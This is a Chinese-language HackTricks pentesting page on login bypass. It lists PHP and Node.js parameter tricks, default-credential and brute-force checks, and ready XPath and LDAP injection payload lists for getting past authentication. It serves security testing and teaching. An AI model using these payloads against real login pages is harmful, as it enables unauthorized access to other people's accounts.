3.8 KiB
Raw Blame History

登录绕过

{{#include ../../banners/hacktricks-training.md}}

绕过常规登录

如果你发现了一个登录页面,这里有一些技术可以尝试绕过它:

  • 检查页面内的 评论(向下滚动并向右?)
  • 检查是否可以 直接访问受限页面
  • 检查 不发送参数不发送任何或仅发送1个
  • 检查 PHP 比较错误: user[]=a&pwd=b , user=a&pwd[]=b , user[]=a&pwd[]=b
  • 将内容类型更改为 json 并发送 json 值(包括 bool true
  • 如果你收到一个响应,表示不支持 POST你可以尝试以 GET 请求发送 JSON 到主体,并设置 Content-Type: application/json
  • 检查 nodejs 潜在的解析错误(阅读 这个 password[password]=1
  • Nodejs 会将该有效负载转换为类似以下的查询: SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` ``password=password=1; 这使得密码位始终为真。
  • 如果你可以发送 JSON 对象,你可以发送 "password":{"password": 1} 来绕过登录。
  • 记住,要绕过此登录,你仍然需要 知道并发送有效的用户名
  • 在调用 mysql.createConnection 时添加 "stringifyObjects":true 选项将最终 阻止所有意外行为,当 Object 被传递 在参数中。
  • 检查凭据:
  • 默认凭据 的技术/平台
  • 常见组合root, admin, password, 技术名称, 默认用户与这些密码之一)。
  • 使用 Cewl 创建字典,添加 默认用户名和密码(如果有),并尝试使用所有单词作为 用户名和密码 进行暴力破解
  • 暴力破解 使用更大的 字典 (暴力破解)

SQL 注入认证绕过

这里你可以找到几种通过 SQL 注入 绕过登录的技巧

在以下页面中,你可以找到一个 自定义列表以尝试通过 SQL 注入绕过登录

{{#ref}} sql-login-bypass.md {{#endref}}

无 SQL 注入认证绕过

这里你可以找到几种通过 无 SQL 注入 绕过登录的技巧

由于无 SQL 注入需要更改参数值,你需要手动测试它们。

XPath 注入认证绕过

这里你可以找到几种通过 XPath 注入 绕过登录的技巧

' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2

LDAP 注入认证绕过

在这里你可以找到几种通过 LDAP 注入 绕过登录的技巧。

*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|

记住我

如果页面有 "记住我" 功能,请检查其实现方式,看看是否可以利用它来 接管其他账户

重定向

页面通常在登录后会重定向用户,请检查是否可以更改该重定向以导致 开放重定向。如果将用户重定向到您的网站您可能会窃取一些信息代码、cookie...)。

其他检查

  • 检查是否可以通过登录功能 枚举用户名
  • 检查密码/敏感信息 表单 输入 中是否启用了 自动完成<input autocomplete="false">

自动化工具

{{#include ../../banners/hacktricks-training.md}}